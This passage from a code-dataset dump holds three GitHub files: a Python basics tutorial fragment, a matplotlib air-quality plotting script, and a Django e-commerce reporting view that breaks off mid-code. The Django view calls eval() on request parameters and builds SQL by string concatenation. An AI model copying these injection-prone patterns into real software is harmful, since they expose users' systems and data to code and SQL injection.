World!\"\nprint(a.upper())\nprint(a.lower())\n\na = \" Hello, World! \"\nprint(a.strip()) # returns \"Hello, World!\"\n\na = \"Hello, World!\"\nprint(a.replace(\"H\", \"J\"))\n\na = \"Hello, World!\"\nprint(a.split(\",\")) # returns ['Hello', ' World!']\n\n\n# %%\na = \"Hello\"\nb = \"World\"\nc = a + \" \" + b\nprint(c)\n\n# %%\nmylist = [\"apple\", \"banana\", \"cherry\"]\n\n\n# %%\nmytuple = (\"apple\", \"banana\", \"cherry\")\n\n\n# %%\nmyset = {\"apple\", \"banana\", \"cherry\"}\n\n\n# %%\nthisdict = {\n \"brand\": \"Ford\",\n \"model\": \"Mustang\",\n \"year\": 1964\n}\n\n\n# %%\na = 33\nb = 200\nif b > a:\n print(\"b is greater than a\")\n\n\n# %%\ni = 1\nwhile i < 6:\n print(i)\n i += 1\n\n\n# %%\nfruits = [\"apple\", \"banana\", \"cherry\"]\nfor x in fruits:\n print(x)\n\n\n# %%\ndef my_function(fname):\n print(fname + \" Refsnes\")\n\nmy_function(\"Emil\")\nmy_function(\"Tobias\")\nmy_function(\"Linus\")\n\n\n# %%\nclass Person:\n def __init__(self, name, age):\n self.name = name\n self.age = age\n\n def myfunc(self):\n print(\"Hello my name is \" + self.name)\n\np1 = Person(\"John\", 36)\np1.myfunc()\n\n","repo_name":"kef59000/thro-de","sub_path":"01-Programming-Languages/03 Python/02 Python Basics.py","file_name":"02 Python Basics.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"30706936764","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport csv\n\n# with open('Dead.csv') as csvFile:\n# readCSV = csv.reader(csvFile, delimiter=',')\n#\n# years = []\n# data = {\n# \"Brazil\": [],\n# \"China\": [],\n# \"India\": [],\n# \"Japan\": [],\n# \"Nigeria\": [],\n# \"Arab Emirates\": [],\n# \"United Kingdom\": [],\n# \"United States\": []\n# }\n#\n# for row in readCSV:\n# years.append(row[0])\n# data[\"Brazil\"].append(row[1])\n# data[\"China\"].append(row[2])\n# data[\"India\"].append(row[3])\n# data[\"Japan\"].append(row[4])\n# data[\"Nigeria\"].append(row[5])\n# data[\"Arab Emirates\"].append(row[6])\n# data[\"United Kingdom\"].append(row[7])\n# data[\"United States\"].append(row[8])\n#\n# dataSum = []\n# for i in data:\n# dataSum.append((sum(list(map(int, data[i])))))\n# total = (sum(list(map(int, data[i]))))\n# avg = []\n# numbers = list(map(int, dataSum))\n# for i in numbers:\n# k = round(i / total * 100, 2)\n# avg.append(k)\n#\n# labels = ('Brazil', 'China', 'India', 'Japan', 'Nigeria', 'UAE', 'UK', 'USA')\n# plt.title('Mortality Due to Air Pollution')\n#\n# y_pos = np.arange(len(labels))\n#\n# plt.bar(y_pos, avg)\n# plt.xticks(y_pos, labels)\n# plt.ylabel('Mortality')\n# plt.show()\n\nwith open('AirQuality.csv') as csvFile:\n readCSV = csv.reader(csvFile, delimiter=',')\n\n years = []\n data = {\n \"Brazil\": [],\n \"China\": [],\n \"India\": [],\n \"Nigeria\": [],\n \"Arab Emirates\": [],\n \"United Kingdom\": [],\n \"United States\": []\n }\n\n for row in readCSV:\n years.append(row[0])\n data[\"Brazil\"].append(row[1])\n data[\"China\"].append(row[2])\n data[\"India\"].append(row[3])\n data[\"Nigeria\"].append(row[4])\n data[\"Arab Emirates\"].append(row[5])\n data[\"United Kingdom\"].append(row[6])\n data[\"United States\"].append(row[7])\n\n print(data['Nigeria'])\n\n plt.plot(years, data[\"Brazil\"], label=\"Brazil\", color='blue')\n plt.plot(years, data[\"China\"], label=\"China\", color='yellow')\n plt.plot(years, data[\"India\"], label=\"India\", color='black')\n plt.plot(years, data[\"Nigeria\"], label=\"Nigeria\", color='red')\n plt.plot(years, data[\"Arab Emirates\"], label=\"Arab Emirates\", color='pink')\n plt.plot(years, data[\"United Kingdom\"], label=\"United Kingdom\", color='green')\n plt.plot(years, data[\"United States\"], label=\"United States\", color='purple')\n\n plt.title('Air Quality')\n plt.xlabel(\"Years\")\n plt.ylabel(\"Average Annual Pollution - Weighted PM2.5\")\n\n plt.yscale('linear')\n plt.legend(bbox_to_anchor=(0., 1.02, 1., .102), loc='lower left', ncol=2, mode=\"expand\", borderaxespad=0.)\n plt.show()\n\n# with open('Airpolution.csv') as csvFile:\n# readCSV = csv.reader(csvFile, delimiter=',')\n#\n# years = []\n# data = {\n# \"Brazil\": [],\n# \"China\": [],\n# \"India\": [],\n# \"Nigeria\": [],\n# \"Arab Emirates\": [],\n# \"United Kingdom\": [],\n# \"United States\": []\n# }\n#\n# for row in readCSV:\n# years.append(row[0])\n# data[\"Brazil\"].append(row[1])\n# data[\"China\"].append(row[2])\n# data[\"India\"].append(row[3])\n# data[\"Nigeria\"].append(row[4])\n# data[\"Arab Emirates\"].append(row[5])\n# data[\"United Kingdom\"].append(row[6])\n# data[\"United States\"].append(row[7])\n#\n# sizes = []\n# for i in data:\n# percent = (sum(list(map(int, data[i])))) / len(data[i])\n# sizes.append(percent)\n#\n# explode = (0.0, 0.1, 0.1, 0.0, 0.0, 0.0, 0.0)\n# labels = 'Brazil', 'China', 'India', 'Nigeria', 'Arab Emirates', 'United Kingdom', 'United States'\n# colors = ['gold', 'yellowgreen', 'lightcoral', 'lightskyblue', 'pink', 'beige', 'orange']\n# plt.pie(sizes, explode=explode, labels=labels, colors=colors, autopct='%0.1f%%', shadow=True, startangle=140)\n# plt.title('Air Pollution')\n# plt.axis('equal')\n# plt.show()\n","repo_name":"tenzin1308/global-warming","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":4083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70728680360","text":"'''\r\n/**\r\n* Copyright ©2017-2019 Beijing HeXinHuiTong Co.,Ltd\r\n* All Rights Reserved.\r\n*\r\n* 2017-2019 北京和信汇通科技开发有限公司 版权所有\r\n*\r\n*/\r\n'''\r\nfrom django.db import connections\r\nfrom django.http import HttpResponse\r\nimport json\r\nfrom django.http import JsonResponse\r\nfrom django.views import View\r\nfrom django_redis import get_redis_connection\r\n\r\nfrom reports_mjt.utils.data_select import datedict, FunctionObject, localutc\r\nfrom reports_mjt.utils.decime import to_string\r\nfunc = FunctionObject()\r\n#系统首页\r\nclass SystemHomePage(View):\r\n def get(self, request):\r\n global true\r\n true = True\r\n global null\r\n null = ''\r\n global false\r\n false = False\r\n type = request.GET.get('type')\r\n token = request.GET.get('token')\r\n start_day = request.GET.get('start')\r\n end_day = request.GET.get('end')\r\n year = request.GET.get('year')\r\n month = request.GET.get('month')\r\n page = request.GET.get('page')\r\n num = request.GET.get('numberbars')\r\n redis_conn = get_redis_connection('default')\r\n try:\r\n tokendata = eval(redis_conn.get(token))\r\n # tokendata = eval(get_redis_connection('default').get(request.GET.get('token')))\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"token已过期\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n foreign_key = tokendata['foreignKey']\r\n manager_id = tokendata['managerId']\r\n\r\n if not start_day and not end_day:\r\n pass\r\n elif start_day in ['month', 'week', 'total', 'yesday', 'months']:\r\n datestart = datedict[start_day][0]\r\n dateend = datedict[start_day][1]\r\n else:\r\n datestart = localutc(int(start_day))\r\n dateend = localutc(int(end_day))\r\n cursor = connections['default'].cursor()\r\n if not all([type, token]):\r\n return HttpResponse(json.dumps({\"errmsg\": \"type token参数未传\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n elif type == '0':\r\n #今日订单总量今日销售总额\r\n try:\r\n cursor.execute(\r\n \"select count(order_number),COALESCE(SUM(order_price),0) from purchase_order where manager_id = '\"+str(manager_id)+\"' and order_state='1' and create_time BETWEEN '\"+datedict['today'][0]+\"' and '\"+datedict['today'][1]+\"' and pay_state ='1'\")\r\n ordervolumesalestoday = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"今日订单总量今日销售总额\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 昨日销售总额\r\n try:\r\n cursor.execute(\r\n \"select COALESCE(SUM(order_price),0) from purchase_order where manager_id = '\"+str(manager_id)+\"' and order_state='1' and create_time BETWEEN '\" + datedict['yesday'][0] + \"' and '\" + datedict['yesday'][1] + \"' and pay_state ='1'\"\r\n )\r\n totalsalesyesdate = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"昨日销售总额\", \"errno\": \"4001\"}),content_type=\"application/json\")\r\n # 七日销售总额\r\n try:\r\n cursor.execute(\r\n \"select COALESCE(SUM(order_price),0) from purchase_order where manager_id = '\"+str(manager_id)+\"' and order_state='1' and create_time BETWEEN '\" + datedict['week'][0] + \"' and '\" + datedict['today'][1] + \"' and pay_state ='1'\"\r\n )\r\n totalsalesweek= cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"七日销售总额\", \"errno\": \"4001\"}),content_type=\"application/json\")\r\n # 商品总览\r\n #已下架商品\r\n try:\r\n cursor.execute(\r\n \"select count(id) from goods where foreign_key = '\"+foreign_key+\"' and putaway = '1' and name is not null\"\r\n )\r\n offshelfmerchandise = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"已下架商品\", \"errno\": \"4001\"}),content_type=\"application/json\")\r\n\r\n # 已上架商品\r\n try:\r\n cursor.execute(\r\n \"select count(id) from goods where foreign_key = '\"+foreign_key+\"' and putaway = '0' and name is not null\"\r\n )\r\n goodsonshelves = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"已下架商品\", \"errno\": \"4001\"}),content_type=\"application/json\")\r\n\r\n # 全部商品\r\n try:\r\n cursor.execute(\r\n \"select count(id) from goods where foreign_key = '\"+foreign_key+\"' and name is not null\"\r\n )\r\n tightstock = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"全部商品\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n\r\n # 用户今日新增\r\n try:\r\n cursor.execute(\r\n \"select count(DISTINCT user_addr) from purchase_order where manager_id = '\"+str(manager_id)+\"' and order_state = '1' and pay_state = '1' and user_addr in (select jld_user.id from jld_user where create_time BETWEEN '\" + datedict['today'][0] + \"' and '\" + datedict['today'][1] + \"')\")\r\n useraddtoday = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"用户今日新增\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n\r\n # 用户昨日新增\r\n try:\r\n cursor.execute(\r\n \"select count(DISTINCT user_addr) from purchase_order where manager_id = '\"+str(manager_id)+\"' and order_state = '1' and pay_state = '1' and user_addr in (select jld_user.id from jld_user where create_time BETWEEN '\" + datedict['yesday'][0] + \"' and '\" + datedict['yesday'][1] + \"')\"\r\n )\r\n useraddyesday = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"用户昨日新增\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 用户本月新增\r\n try:\r\n cursor.execute(\r\n \"select count(DISTINCT user_addr) from purchase_order where manager_id = '\"+str(manager_id)+\"' and order_state = '1' and pay_state = '1' and user_addr in (select jld_user.id from jld_user where create_time BETWEEN '\" + datedict['day_begin'][0] + \" 00:00:00' and '\" + datedict['day_end'][0] + \" 23:59:59')\"\r\n )\r\n useraddmonth = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"用户昨日新增\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n membershipnum = set()\r\n # 会员总数\r\n try:\r\n cursor.execute(\r\n \"select id from goods where foreign_key = '\"+foreign_key+\"' and name is not null\"\r\n )\r\n goodsid = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"goodsid\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n for id in goodsid:\r\n # 会员总数\r\n try:\r\n cursor.execute(\r\n \"select userAddr from relation where goodsAddr = '\" + id[0] + \"'\"\r\n )\r\n usercount = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"会员总数\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n if not usercount:\r\n pass\r\n for data in usercount:\r\n membershipnum.add(data[0])\r\n dict = {\r\n 'membershipnum': len(membershipnum),#会员总数\r\n 'useraddmonth': useraddmonth[0][0],#用户本月新增\r\n 'useraddyesday': useraddyesday[0][0],#用户昨日新增\r\n 'useraddtoday': useraddtoday[0][0],#用户今日新增\r\n 'tightstock': tightstock[0][0],#全部商品\r\n 'goodsonshelves': goodsonshelves[0][0],#已上架商品\r\n 'offshelfmerchandise': offshelfmerchandise[0][0],#已下架商品\r\n 'totalsalesyesdate': to_string(totalsalesyesdate[0][0]),#昨日销售总额\r\n 'totalsalesweek': to_string(totalsalesweek[0][0]),#七日销售总额\r\n 'ordervolumetoday': ordervolumesalestoday[0][0],#今日订单总量\r\n 'salestoday': to_string(ordervolumesalestoday[0][1]),#今日销售总额\r\n }\r\n data = {'data': dict, \"errmsg\": \"成功\", \"errno\": \"0\"}\r\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\r\n\r\n #待处理事物\r\n elif type == '1':\r\n # 待付款订单\r\n try:\r\n cursor.execute(\r\n \"select count(order_number) from purchase_order where manager_id = '\"+manager_id+\"' and order_state='1' and pay_state = '0'\"\r\n )\r\n ordertobepaid = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"待付款订单\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 待发货订单\r\n try:\r\n cursor.execute(\r\n \"select count(order_number) from take_order where manager_id = '\"+manager_id+\"' and take_state in ('0','1')\")\r\n standbyorder = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"待发货订单\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 已发货订单\r\n try:\r\n cursor.execute(\r\n \"select count(order_number) from take_order where manager_id = '\" + manager_id + \"' and take_state in ('2','3')\"\r\n )\r\n outgoingorder = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"已发货订单\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n\r\n # 已完成订单\r\n try:\r\n cursor.execute(\r\n \"select count(purchase_number) from take_order where manager_id = '\"+manager_id+\"' and take_state = '3'\"\r\n )\r\n completedorder = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"已完成订单\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n\r\n # 本周提货订单量\r\n try:\r\n cursor.execute(\r\n \"select count(order_number) from take_order where manager_id = '\"+manager_id+\"' and create_date bETWEEN '\" + datedict['week'][0] + \" ' and '\" + datedict['today'][1] + \"' \"\r\n )\r\n weekordertake = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"本周提货订单量\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 本月提货量\r\n try:\r\n cursor.execute(\r\n \"select count(order_number) from take_order where manager_id = '\"+manager_id+\"' and create_date bETWEEN '\" + datedict['month'][0] + \"' and '\" + datedict['today'][1] + \"'\"\r\n )\r\n monthordertake = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"本月提货量\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n\r\n # 本周购买量\r\n try:\r\n cursor.execute(\r\n \"select COALESCE(sum(actual_price),0) from purchase_order where manager_id = '\"+manager_id+\"' and order_state='1' and create_time bETWEEN '\" + datedict['week'][0] + \"' and '\" + datedict['today'][1] + \"' and pay_state ='1'\")\r\n weekorderbuy = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"本月购买量\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n\r\n # 本月购买量\r\n try:\r\n cursor.execute(\r\n \"select COALESCE(sum(actual_price),0) from purchase_order where manager_id = '\"+manager_id+\"' and order_state='1' and create_time bETWEEN '\" + datedict['day_begin'][0] + \" 00:00:00' and '\" + datedict['day_end'][0] + \" 23:59:59' and pay_state ='1'\"\r\n )\r\n monthorderbuy = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"本月购买量\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 处理退货\r\n try:\r\n cursor.execute(\r\n \"select count(outTradeNo) from apply_sale where orgAddr = '\"+manager_id+\"' and type = '1' and state in ('0','1')\"\r\n )\r\n returngoods = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"处理退货\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 处理退款\r\n try:\r\n cursor.execute(\r\n \"select count(outTradeNo) from apply_sale where orgAddr = '\"+manager_id+\"' and type = '2' and state in ('0','1')\"\r\n )\r\n returnmony = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"处理退款\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n dict = {\r\n 'ordertobepaid': ordertobepaid[0][0], # 待付款订单\r\n 'standbyorder': standbyorder[0][0], # 待发货订单\r\n 'outgoingorder': outgoingorder[0][0], # 已发货订单\r\n 'completedorder': completedorder[0][0], # 已完成订单\r\n 'weekordertake': weekordertake[0][0], # 本周提货订单量\r\n 'monthordertake': monthordertake[0][0], # 本月提货量\r\n 'weekorderbuy': to_string(weekorderbuy[0][0]), # 本周购买总额\r\n 'monthorderbuy': to_string(monthorderbuy[0][0]), # 本月购买总额\r\n 'returngoods': to_string(returngoods[0][0]), # 处理退货\r\n 'returnmony': to_string(returnmony[0][0]), # 处理退款\r\n }\r\n data = {'data': dict, \"errmsg\": \"成功\", \"errno\": \"0\"}\r\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\r\n\r\n # 综合统计本周,本月,选择时间 提货\r\n elif type == '2':\r\n if not all([start_day, end_day]):\r\n return HttpResponse(json.dumps({\"errmsg\": \"时间未传\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 选择提货量\r\n try:\r\n cursor.execute(\r\n \"select count(order_number),date_format(create_date,'%Y-%m-%d') from take_order where manager_id = '\"+manager_id+\"' and order_state = '0' and create_date bETWEEN '\"+datestart+\"' and '\"+dateend+\"' GROUP BY date_format(create_date,'%Y-%m-%d')\"\r\n )\r\n selecttakenum = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"本月提货量\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n import pandas as pd\r\n date = pd.date_range(datestart, dateend, freq='D')\r\n week = [int(i.strftime(\"%w\")) for i in date] # 0表示星期日\r\n dataframe = pd.DataFrame({'date': date, 'week': week, 'num': 0.00})\r\n for key1, sqldate in enumerate(selecttakenum):\r\n for key, date in enumerate(dataframe['date']):\r\n if sqldate[1] == date.strftime('%Y-%m-%d'):\r\n dataframe['num'][key] = selecttakenum[key1][0]\r\n break\r\n result = json.loads(dataframe.to_json())\r\n data = {'data': result, \"errmsg\": \"成功\", \"errno\": \"0\"}\r\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\r\n # ccc\r\n elif type == '3':\r\n if not all([start_day, end_day]):\r\n return HttpResponse(json.dumps({\"errmsg\": \"时间未传\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 选择购买量\r\n try:\r\n cursor.execute(\r\n \"select sum(actual_price),date_format(create_time,'%Y-%m-%d') from purchase_order where manager_id = '\"+manager_id+\"' and order_state='1' and create_time bETWEEN '\"+datestart+\"' and '\"+dateend+\"' and pay_state = '1' GROUP BY date_format(create_time,'%Y-%m-%d')\")\r\n selectbuynum = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"本月购买量\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n import pandas as pd\r\n date = pd.date_range(datestart, dateend, freq='D')\r\n week = [int(i.strftime(\"%w\")) for i in date] # 0表示星期日\r\n dataframe = pd.DataFrame({'date': date, 'week': week, 'num': 0.00})\r\n for key1, sqldate in enumerate(selectbuynum):\r\n for key, date in enumerate(dataframe['date']):\r\n if sqldate[1] == date.strftime('%Y-%m-%d'):\r\n dataframe['num'][key] = selectbuynum[key1][0]\r\n break\r\n result = json.loads(dataframe.to_json())\r\n return JsonResponse({'data': result, \"errmsg\": \"成功\", \"errno\": \"0\"})\r\n\r\n # 交易数据\r\n elif type == '4':\r\n if not all([start_day, end_day]):\r\n return HttpResponse(json.dumps({\"errmsg\": \"时间未传\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n\r\n # 下单人数,订单数,下单件数,下单金额\r\n try:\r\n cursor.execute(\r\n \"select COALESCE(count(o.user_addr),0),COALESCE(count(o.order_number),0),COALESCE(sum(g.goods_amount),0),COALESCE(sum(o.actual_price),0) from purchase_order as o,purchase_order_goods as g where manager_id = '\" + manager_id + \"' and o.order_state='1' and o.create_time bETWEEN '\" + datestart + \"' and '\" + dateend + \"' and o.order_number = g.order_number and pay_state != '2'\")\r\n unpaidorder = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"今日订单总量今日销售总额\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n\r\n # 付款人数,付款订单数,付款件数,付款金额\r\n try:\r\n cursor.execute(\r\n \"select distinct count(o.user_addr),count(o.order_number),COALESCE(sum(g.goods_amount),0),COALESCE(sum(o.actual_price),0) from purchase_order as o,purchase_order_goods as g where manager_id = '\" + manager_id + \"' and o.order_state='1' and o.create_time bETWEEN '\" + datestart + \"' and '\" + dateend + \"' and o.order_number = g.order_number and o.pay_state ='1'\"\r\n )\r\n orderpaid = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"昨日销售总额\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n\r\n # 有效订单数\r\n try:\r\n cursor.execute(\r\n \"select count(order_number) from purchase_order where manager_id = '\" + manager_id + \"' and order_state='1' and create_time bETWEEN '\" + datestart + \"' and '\" + dateend + \"' and pay_state ='1'\"\r\n )\r\n limitorder = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"七日销售总额\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n\r\n # 退款金额\r\n try:\r\n cursor.execute(\r\n \"select COALESCE(sum(refundFee),0) from apply_sale where orgAddr = '\" + manager_id + \"' and createdAt bETWEEN '\" + datestart + \"' and '\" + dateend + \"'\"\r\n )\r\n offshelfmerchandise = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"已下架商品\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n\r\n # 客单价\r\n try:\r\n cursor.execute(\r\n \"select COALESCE(Round(sum(actual_price) / count(user_addr),2),0) from purchase_order where manager_id = '\" + manager_id + \"'and order_state='1'and pay_state = '1' and create_time bETWEEN '\" + datestart + \"' and '\" + dateend + \"'\"\r\n )\r\n customerunitprice = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"已下架商品\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n dict = {\r\n 'ordernum': to_string(unpaidorder[0][0]), # 下单人数\r\n 'ordernumber': unpaidorder[0][1], # 订单数\r\n 'lowerunitnum': to_string(unpaidorder[0][2]), # 下单件数\r\n 'orderamount': to_string(unpaidorder[0][3]), # 下单金额\r\n 'numpayments': orderpaid[0][0], # 付款人数\r\n 'numpaymentsorder': orderpaid[0][1], # 付款订单数\r\n 'numberpayments': to_string(orderpaid[0][2]), # 付款件数\r\n 'paymentsamount': to_string(orderpaid[0][3]), # 付款金额\r\n 'limitorder': limitorder[0][0], # 有效订单数\r\n 'offshelfmerchandise': to_string(offshelfmerchandise[0][0]), # 退款金额\r\n 'customerunitprice': to_string(customerunitprice[0][0]), # 客单价\r\n 'numbervisitors': 0, # 浏览人数\r\n }\r\n data = {'data': dict, \"errmsg\": \"成功\", \"errno\": \"0\"}\r\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\r\n # 新老客户交易构成\r\n elif type == '5':\r\n if not all([year, month]):\r\n return HttpResponse(json.dumps({\"errmsg\": 'year,month$参数缺失', \"errno\": 4001}), content_type=\"application/json\")\r\n import calendar\r\n try:\r\n monthRange = calendar.monthrange(eval(month), eval(month))\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"月份必须是1月-12月之间\", \"errno\": 4001}), content_type=\"application/json\")\r\n import datetime\r\n try:\r\n startTime = datetime.datetime(eval(year), eval(month), 1).strftime(\"%Y-%m-%d\")\r\n end = datetime.datetime(eval(year), eval(month), 1) + datetime.timedelta(monthRange[1] - 1)\r\n endTime = end.strftime(\"%Y-%m-%d\")\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"年份或者月份错误\", \"errno\": 4001}), content_type=\"application/json\")\r\n # 新客户付款金额 新客户付款人数\r\n try:\r\n cursor.execute(\r\n \"select count(distinct user_addr),COALESCE(sum(actual_price),0) from purchase_order where manager_id = '\" + manager_id + \"' and order_state='1'and create_time BETWEEN '\" + startTime + \" 00:00:00' and '\" + endTime + \" 23:59:59' and pay_state ='1' and user_addr in (select id from jld_user where create_time BETWEEN '\" + startTime + \" 00:00:00' and '\" + endTime + \" 23:59:59')\")\r\n newclient = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"新客户\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 旧客户付款金额 旧客户付款人数\r\n try:\r\n cursor.execute(\r\n \"select count(distinct user_addr),COALESCE(sum(actual_price),0) from purchase_order where manager_id = '\" + manager_id + \"' and order_state='1'and create_time BETWEEN '\" + startTime + \" 00:00:00' and '\" + endTime + \" 23:59:59' and pay_state ='1' and user_addr not in (select id from jld_user where create_time BETWEEN '\" + startTime + \" 00:00:00' and '\" + endTime + \" 23:59:59')\")\r\n oldclient = cursor.fetchall()\r\n\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"老客户\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n dict = {'newclientmoney': to_string(newclient[0][1]), # 新客户付款人数\r\n 'newclientnum': newclient[0][0], # 新客户付款金额\r\n 'oldclientmonry': to_string(oldclient[0][1]), # 旧客户付款人数\r\n 'oldclientnum': oldclient[0][0]} # 旧客户付款金额\r\n data = {'data': dict, \"errmsg\": \"成功\", \"errno\": \"0\"}\r\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\r\n\r\n # 交易数据\r\n elif type == '6':\r\n if not all([start_day, end_day]):\r\n return HttpResponse(json.dumps({\"errmsg\": \"时间未传\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 交易数据\r\n try:\r\n cursor.execute(\r\n \"select actual_price from purchase_order where manager_id = '\" + manager_id + \"' and order_state='1'and pay_state = '1'and create_time bETWEEN '\" + datestart + \"' and '\" + dateend + \"' GROUP BY order_number ORDER BY actual_price\")\r\n transactiondata = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"交易数据\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n list1 = [i for i in transactiondata if 0 < i[0] < 51]\r\n list2 = [i for i in transactiondata if 51 <= i[0] < 101]\r\n list3 = [i for i in transactiondata if 101 <= i[0] < 201]\r\n list4 = [i for i in transactiondata if 201 <= i[0] < 501]\r\n list5 = [i for i in transactiondata if 501 <= i[0] < 1000]\r\n list6 = [i for i in transactiondata if 1001 <= i[0] < 5001]\r\n list7 = [i for i in transactiondata if 5001 <= i[0] < 10001]\r\n list8 = [i for i in transactiondata if i[0] > 10001]\r\n dict = {\r\n '0-50元': len(list1),\r\n '51-100元': len(list2),\r\n '101-200元': len(list3),\r\n '201-500元': len(list4),\r\n '501-1000元': len(list5),\r\n '1001-5000元': len(list6),\r\n '5001-10000元': len(list7),\r\n '10001元以上': len(list8),\r\n }\r\n data = {'data': dict, \"errmsg\": \"成功\", \"errno\": \"0\"}\r\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\r\n\r\n # 商品统计\r\n elif type == '7':\r\n if not all([start_day, end_day, page, num]):\r\n return HttpResponse(json.dumps({\"errmsg\": \"商家地址未传\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n numberbars = int(num)\r\n pages = int(page)\r\n # 商品销售情况 提货数量\r\n try:\r\n cursor.execute(\r\n \"select g.goods_id ,sum(g.goods_amount) from take_order as o,take_order_goods as g where o.manager_id = '\" + manager_id + \"' and o.create_date bETWEEN '\" + datestart + \"' and '\" + dateend + \"' and o.order_number = g.order_number GROUP BY g.goods_id\")\r\n takegoodsnum = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"提货数量\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n\r\n # 商品销售情况 销售数量 销售金额\r\n try:\r\n cursor.execute(\r\n \"select g.goods_id,sum(g.goods_amount),sum(o.actual_price) from purchase_order as o, purchase_order_goods as g where o.manager_id = '\" + manager_id + \"' and o.order_state = '1' and o.create_time bETWEEN '\" + datestart + \"' and '\" + dateend + \"' and g.order_number = o.order_number and o.pay_state = '1' GROUP BY g.goods_id\")\r\n amountsales = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"销售数量 销售金额\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 商品销售情况 付款人数 订单号\r\n try:\r\n cursor.execute(\r\n \"select g.goods_id, count(DISTINCT o.user_addr) from purchase_order as o, purchase_order_goods as g where o.manager_id = '\" + manager_id + \"' and o.order_state = '1' and o.create_time bETWEEN '\" + datestart + \"' and '\" + dateend + \"' and g.order_number = o.order_number and o.pay_state = '1' GROUP BY g.goods_id\")\r\n 